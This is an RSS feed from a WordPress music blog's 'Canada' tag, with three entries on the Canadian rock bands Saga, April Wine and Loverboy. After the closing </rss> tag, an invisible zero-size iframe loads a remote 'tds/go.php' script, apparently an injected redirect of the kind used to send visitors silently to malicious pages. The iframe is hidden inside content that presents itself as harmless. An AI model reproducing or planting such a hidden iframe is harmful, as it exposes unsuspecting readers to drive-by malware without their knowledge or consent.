<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AOR Blog: Album Oriented Rock &#187; Canada</title>
	<atom:link href="http://www.aorblog.com/tag/canada/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.aorblog.com</link>
	<description></description>
	<lastBuildDate>Wed, 11 Jan 2012 12:50:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>The Saga of Saga</title>
		<link>http://www.aorblog.com/2009/12/the-saga-of-saga/</link>
		<comments>http://www.aorblog.com/2009/12/the-saga-of-saga/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 14:47:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AOR Classic Tracks]]></category>
		<category><![CDATA[1981]]></category>
		<category><![CDATA[Canada]]></category>
		<category><![CDATA[Jim Crichton]]></category>
		<category><![CDATA[keytars]]></category>
		<category><![CDATA[Michael Sadler]]></category>
		<category><![CDATA[mullets]]></category>
		<category><![CDATA[On The Loose]]></category>
		<category><![CDATA[progressive]]></category>
		<category><![CDATA[Saga]]></category>

		<guid isPermaLink="false">http://www.aorblog.com/?p=244</guid>
		<description><![CDATA[The progressive Canadian band Saga managed four rock hits in the 80s, along with some pretty sweet mullets, keytars, and interesting music videos. The band was formed in Ontario in 1971, and featured Michael Sadler on vocals and keyboards, Jim Crichton (guitar, synthesizer), Ian Crichton (guitar), Steve Negus (drums), Jim Gilmour (LEAD synthesizer and vocals). [...]]]></description>
		<wfw:commentRss>http://www.aorblog.com/2009/12/the-saga-of-saga/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>April Wine: Sign of the Gypsy Queen (1981)</title>
		<link>http://www.aorblog.com/2009/05/april-wine-sign-of-the-gypsy-queen/</link>
		<comments>http://www.aorblog.com/2009/05/april-wine-sign-of-the-gypsy-queen/#comments</comments>
		<pubDate>Thu, 28 May 2009 17:43:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AOR Classic Tracks]]></category>
		<category><![CDATA[1981]]></category>
		<category><![CDATA[April Wine]]></category>
		<category><![CDATA[Blue Oyster Cult]]></category>
		<category><![CDATA[Canada]]></category>
		<category><![CDATA[gypsies]]></category>
		<category><![CDATA[Heart]]></category>
		<category><![CDATA[post-apocalyptic]]></category>

		<guid isPermaLink="false">http://www.aorblog.com/?p=103</guid>
		<description><![CDATA[The pride of Halifax, Nova Scotia, April Wine scored a few hits on the AOR charts in the early 80s and actually had a bit of longevity &#8212; their first hit was in 1972, and their last was in 1993. As the followup single to ballad &#8220;Just Between You and Me&#8221;, the harder-rocking &#8220;Sign of [...]]]></description>
		<wfw:commentRss>http://www.aorblog.com/2009/05/april-wine-sign-of-the-gypsy-queen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Loverboy: Turn Me Loose (1980)</title>
		<link>http://www.aorblog.com/2008/12/loverboy-turn-me-loose-1981/</link>
		<comments>http://www.aorblog.com/2008/12/loverboy-turn-me-loose-1981/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 07:43:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AOR Classic Tracks]]></category>
		<category><![CDATA[1980]]></category>
		<category><![CDATA[Canada]]></category>
		<category><![CDATA[Loverboy]]></category>
		<category><![CDATA[Mike Reno]]></category>
		<category><![CDATA[Paul Dean]]></category>

		<guid isPermaLink="false">http://www.aorblog.com/?p=33</guid>
		<description><![CDATA[This hard-driving track was Canadian band Loverboy&#8217;s debut on the charts in 1980. Keyboards, headbands and red leather pants &#8211; the essence of Loverboy. Turn Me Loose hit #6 on the Mainstream Rock chart and climbed to #35 on the Pop Singles chart.]]></description>
		<wfw:commentRss>http://www.aorblog.com/2008/12/loverboy-turn-me-loose-1981/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
